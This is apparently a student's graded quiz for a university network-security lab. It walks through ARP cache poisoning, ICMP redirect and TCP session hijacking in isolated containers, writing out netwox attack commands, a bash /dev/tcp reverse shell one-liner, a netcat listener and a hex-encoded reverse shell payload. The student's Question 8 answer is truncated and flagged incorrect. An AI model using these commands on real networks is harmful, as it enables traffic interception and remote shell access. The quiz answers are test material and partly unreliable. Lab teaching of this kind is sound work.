TCP/IP Attack: Task2 Quiz results for Murtadha Hussein Ali Al-Obaidi

ⓘ Correct answers are hidden.

Score for this attempt: **13** out of 15
Submitted 25 Apr at 8:49
This attempt took 2 minutes.

In this task, you will perform attacks at various layers of the TCP/IP protocol stack.

Before you begin the lab, you need to launch the lab VM, start the four containers (i.e., attacker, inside-host, outside-host, and firewall), and connect to each of them in a separate terminal window.

You can find the exact commands to do this on TCP/IP Attack Task1 Quiz.

2.1 ARP cache poisoning attack

ARP cache poisoning is a technique to spoof Address Resolution Protocol (ARP) messages onto a local area network (LAN) to deceive the victim to consider the attacker's MAC address is associated with the IP address of another host, causing the victim to send traffic meant for that IP address to the attacker instead.

Your main objective as an attacker is to use the ARP cache poisoning attack to deceive the victim (i.e., the inside-host) to consider your MAC address is associated with the IP address of the gateway (the firewall serves as a gateway of the user's network in our network topology). You will use the netwox tool number 33 to forge a broadcast ARP request from the gateway to the victim using the attacker's MAC address and observe the results.

Now, do the following:

- On the **inside-host**, start a continuous ping to the firewall (eth1) using the command:

```
ping 10.0.20.1
```

We consider this continuous ping as the ongoing communication between the inside-host and the firewall.

- On **lab VM**, open a new terminal and make a second connection to the inside-host. We will leave the first connection to the inside-host that runs ping as it is and use this terminal to execute commands on the inside-host. Now, inspect the ARP table with the command:

  ```
  ip neigh
  ```

  Use this ARP table before the attack to answer the first question below.
- On **lab VM**, start Wireshark and capture packets on the internal bridge: lxc-int-br
- On the **attacker**, disable routing with the command:

  ```
  sysctl -w net.ipv4.ip_forward=0
  ```

  Now, **prepare** the netwox 33 command to forge a broadcast ARP request from the recipient's IP address to the victim's IP address by writing the command on the attacker terminal **but do not run the command yet**. You can also answer the second question below.
- Observe packets on Wireshark. When you see ARP messages, wait 2-3 seconds, then run the netwox 33 command on the attacker and then observe the output of the ping command on the first connection to the inside-host to see if and how long the traffic gets redirected to the attacker. Then, answer the remaining two questions below.
- Stop the capture on Wireshark. Then, go to the forged broadcast ARP request that was sent by the attacker and mark this packet as well as the next 2 packets (i.e., the ARP response and the ICMP echo request). Export these three packets and save them to a file named: `arp.pcapng`. You will submit this file as part of Task 2 submission.

  IMPORTANT: This is an individual assignment and we expect every student to submit a file with unique packets. Students who submit files with the same packets are considered cheating.
- On the **attacker**, issue the forged packet again, and look at the `ip neigh` command output on the victim immediately. The ARP table should show that the MAC address of attacker is now associated with the firewall eth1 IP address.
- Stop ping on the first connection to the inside-host by pressing `Ctrl-C`.

Question 1

1 / 1 pts

According to the ARP table before the attack, what is the firewall MAC address?

00:16:3e:fb:73:43

Question 2

3 / 3 pts

Fill in the missing information for the netwox command 33 that you need to forge a broadcast ARP request from the firewall eth1 IP address to the victim's IP address.

```
netwox 33 --eth-dst FF:FF:FF:FF:FF:FF
 --arp-ipsrc 10.0.20.1
 --arp-ipdst 10.0.20.2
```

Answer 1:

ff:ff:ff:ff:ff:ff

Answer 2:

10.0.20.1

Answer 3:

10.0.20.2

Question 3

1 / 1 pts

You should observe that the ongoing ping was disrupted when you run the netwox 33 command on the attacker.

How long in seconds does it take for the ping to work again?
HINT: You can estimate the time from the sequence number. Ping is sent every second.

10

Question 4

1 / 1 pts

You should observe many ICMP echo requests that did not get corresponding ICMP echo responses.

What are the destination MAC address of these packets?

00:16:3E:73:F6:B0

2.2 ICMP redirect attack

According to **RFC 792** **(https://tools.ietf.org/html/rfc792)**, an Internet Control Message Protocol (ICMP) redirect message is designed to be used by a gateway to inform a host of a shorter path to the destination. However, an attacker can exploit the ICMP redirect message to redirect traffic to a specific destination to perform other malicious activity, such as a man-in-the-middle attack.

Your main objective as an attacker is to use the ICMP redirect message to redirect traffic from the victim (i.e., the inside-host) to the attacker and cause a disruption to an ongoing communication. You will use the netwox tool number 86 to forge ICMP redirect messages to cause the victim to send traffic to the attacker instead of the gateway (i.e., the firewall) and observe the results.

Now, do the following:

- On the **inside-host**, disable IPv4 routing with the command:

  ```
  sysctl -w net.ipv4.ip_forward=0
  ```

  NOTE: With the default configuration, the inside-host will not accept ICMP redirect messages if IPv4 routing is enabled. Therefore, we disable IPv4 routing to make the inside-host accepts ICMP redirect messages.
- You should have two connections to the inside-host from the previous experiment.
  From the first connection to the inside-host, start a continuous ping to the outside-host. We consider this continuous ping as an ongoing communication. You will use the second connection to inside-host to execute commands on the inside-host.
  From the second connection to inside-host, check the routing information to the outside-host with the command:

  ```
  ip route get 10.0.10.2
  ```

  You will also save this information to a file named `redirect1.txt` with the command:

  ```
  ip route get 10.0.10.2 > redirect1.txt
  ```

  You will submit `redirect1.txt` as part of Task 2 submission.
- On **lab VM**, start Wireshark and capture packets on the internal bridge: lxc-int-br
- On the **attacker**, use the netwox 86 command to forge ICMP redirect messages from the original gateway (i.e., the firewall) to a new gateway (i.e., the attacker). You must also use a filter to generate forged messages only for traffic destined for the outside-host. Also, answer the first question below.
- After executing the netwox 86 command, you may observe that nothing happens. This is because the actual traffic from the inside-host still goes directly to the outside-host through the gateway.
  To make this attack works successfully, you need to utilize the ARP cache poisoning to deceive the inside-host to send traffic to the attacker instead of the gateway.
  Now, on **lab VM**, open a new terminal and make a second connection to the attacker and use the netwox 33 command for the ARP cache poisoning.
- Study packets on Wireshark and the output of the ping command. Then, answer the second question below.
- On the **inside-host**, check the routing information to the outside-host. Also, save it to a file named `redirect2.txt` with the

command:

```
ip route get 10.0.10.2 > redirect2.txt
```

You will submit `redirect2.txt` as part of Task 2 submission.

- Stop the capture on Wireshark. Then, go to the forged broadcast ARP request that was sent by the attacker and mark this packet as well as the next 3 packets (i.e., the ARP response, the ICMP echo request, and the ICMP redirect). Export these four packets and save them to a file named: `redirect.pcapng`. You will submit this file as part of Task 2 submission.
  IMPORTANT: This is an individual assignment and we expect every student to submit a file with unique packets. Students who submit files with the same packets are considered cheating.
- On the first connection to the **attacker**, stop the netwox 86 command by pressing `Ctrl-C`.
- On the second connection to the **inside-host**, flush the route cache with the command:

  ```
  ip route flush cache
  ```

  Also, check that the route cache is really removed.
- On the first connection to the **inside-host**, you should observe that ping is now working again.
  Now, stop the ping by pressing `Ctrl-C`.

Question 5

3 / 3 pts

Fill in the missing information for the netwox command 86 that you need to forge ICMP redirect messages from the original gateway (i.e., the firewall) to a new gateway (i.e., the attacker). You must also use a filter to generate forged messages only for traffic destined for the outside-host..

```
netwox 86 --spoofip raw --src-ip 10.0.20.1
 --gw 10.0.20.3
 --filter "dst host 10.0.10.2
```

IMPORTANT: The filter text must be written in small letters in between double quotes. Otherwise, it is considered as wrong.

Answer 1:

10.0.20.1

Answer 2:

10.0.20.3

Answer 3:

"dst host 10.0.10.2"

Question 6

1 / 1 pts

Comparing the ICMP redirect attack with the ARP cache poisoning attack, which attack lasts longer?

- ARP cache poisoning attack
- ICMP redirect attack

2.3 TCP session hijacking + reverse shell access

As described in TCP/IP Attack Task 1, we can hijack a TCP session and inject commands on the victim host. However, running commands through TCP session hijacking is inconvenient since it involves keeping track of sequence numbers. It is more convenient for an attacker to set up a back door that grants access to the shell on the victim host, which the attacker can use to cause more damage.

Your main objective as an attacker is to hijack a TCP connection that is established between the inside-host and the outside-host in the same

way as what you did in Task 1. However, instead of injecting commands to run on the victim host one by one, you will inject a command to set up a reverse shell on the victim host that connects back to the attacker.

You can set up a reverse shell from the victim host to the attacker (assuming that the attacker IP address is $HOST and it is listening on port $PORT) by running the command below on the victim host:

```
/bin/bash -i > /dev/tcp/$HOST/$PORT 2>&1 0<&1
```

This command comprises the following parts:

Part	Description
`/bin/bash -i`	Run bash in an interactive mode
`> /dev/tcp/$HOST/$PORT`	Use the TCP socket to $HOST:$PORT for the standard output
`2>&1`	Use the standard output (i.e., the TCP socket) for the standard error
`0<&1`	Use the standard output (i.e., the TCP socket) for the standard input

In summary, the bash command sends all print outs over the TCP socket while receiving whatever being sent from the other end of the TCP socket as its input.

Now, do the following:

- On the first connection to the **attacker**, run netcat server on IP 10.0.20.3 port 9090 with the command:

  ```
  netcat -lnv 10.0.20.3 9090
  ```

  NOTE: We use this netcat process to open a TCP socket listening for a connection from the victim.
- On **lab VM**, start Wireshark and capture packets on the internal bridge: lxc-int-br
- On the **outside-host**, restart xinetd with the command:

  ```
  service xinetd restart
  ```

- On the **inside-host**, telnet to the outside-host. Once the session is established, log in with the credentials below:
  USERNAME: ubuntu
  PASSWORD: ubuntu
  After logging in, you should see the welcome message and a prompt on the outside-host.

- On the **attacker**, use netwox 40 to forge a TCP message to the outside-host to hijack the telnet connection and set up a reverse shell. You can obtain relevant parameters from the Wireshark capture. Also, answer the first two questions below.
- Once you successfully hijack the TCP connection, you should see the reverse shell establishing a connection to the netcat server on the first connection to the attacker, and it is now possible to execute more commands directly on the victim's shell, as shown below:

```
root@attacker:~# netcat -lnv 10.0.20.3 9090
Listening on 10.0.20.3 9090   <=== waiting for a connection from
the victim
Connection received on 10.0.10.2 37124   <=== reverse shell conn
ected from the victim
To run a command as administrator (user "root"), use "sudo <comm
and>".
See "man sudo_root" for details.

ubuntu@outside-host:~$ pwd   <=== commands typed here run on the
victim
pwd
/home/ubuntu
ubuntu@outside-host:~$
```

- Now, stop Wireshark capture and mark the following six packets:
  - The TCP packet before the forged message (i.e., the TCP packet that you obtain relevant parameters for creating the forged message)
  - The forged message that you created with the netwox 40 command
  - The three TCP packets representing the three-way handshake for the reverse shell connection to the attacker
  - The first TCP packet that contains the TCP data stream sent over the reverse shell connection

    Export these six packets and save them to a file named: `shell.pcapng`. You will submit this file as part of Task 2 submission.

    IMPORTANT: This is an individual assignment and we expect every student to submit a file with unique packets. Students who submit files with the same packets are considered cheating.
- On the first connection to the **attacker** that is connected to the reverse shell, you can now type `exit` to terminate the reverse shell.
- You may observe that the telnet session on the inside-host hangs. Use the other connection to the inside-host to kill the telnet session with the command:

```
killall telnet
```

At this point, you are done with Task 2. You should also have multiple files (on the lab VM and the inside-host container) that you need to

submit as part of Task 2. You can now proceed to the Task 2 submission page and follow the instructions to create a tarball for uploading to Canvas.

After you are done with the submission, you can follow the clean-up instructions below to shut down the containers and lab VM.

Question 7

3 / 3 pts

Fill in the missing information for the netwox 40 command that you need to forge a TCP message to the outside-host to hijack the telnet connection and set up a reverse shell.

```
netwox 40 -j 64 -l [10.0.20.2]
 -m [10.0.10.2]
 -o <SKIP1> -p [23]
 -q <SKIP2> -r <SKIP3> -a raw -E 502 <TCP_FLAGS> -H <REV_SHELL_CMD>
```

In this question, we skip some values (with names begin with SKIP) since we do not know them in advance. However, you will need to fill in the correct values when you run the netwox 40 command to successfully hijack the connection.

Moreover, the command above is still not complete. You still need the following:

- Specify TCP flags (denoted as <TCP_FLAGS>) that you need to set in the forged TCP message.
- Specify the reverse shell command (denoted as <REV_SHELL_CMD> as the TCP data, which you will provide as the answer in the next question.

Answer 1:

10.0.20.2

Answer 2:

10.0.10.2

Answer 3:

23

Incorrect

Question 8

0 / 2 pts

Give the TCP data for the command to set up a reverse shell, which you must specify as the input value for the -H flag in the netwox 40 command above.

```
2f62696e2f62617368202d69202d69203e202f6465762f7463702f31302e302e3
```

Cleaning up

Shut down all containers by running the command below on each of terminal that is connected to a container:

```
poweroff
```

It may take some time before the container is actually powered off. You can also try to run the command again if the container does not power off.

After all containers are powered off, you can shut down the lab VM.

Quiz score: **13** out of 15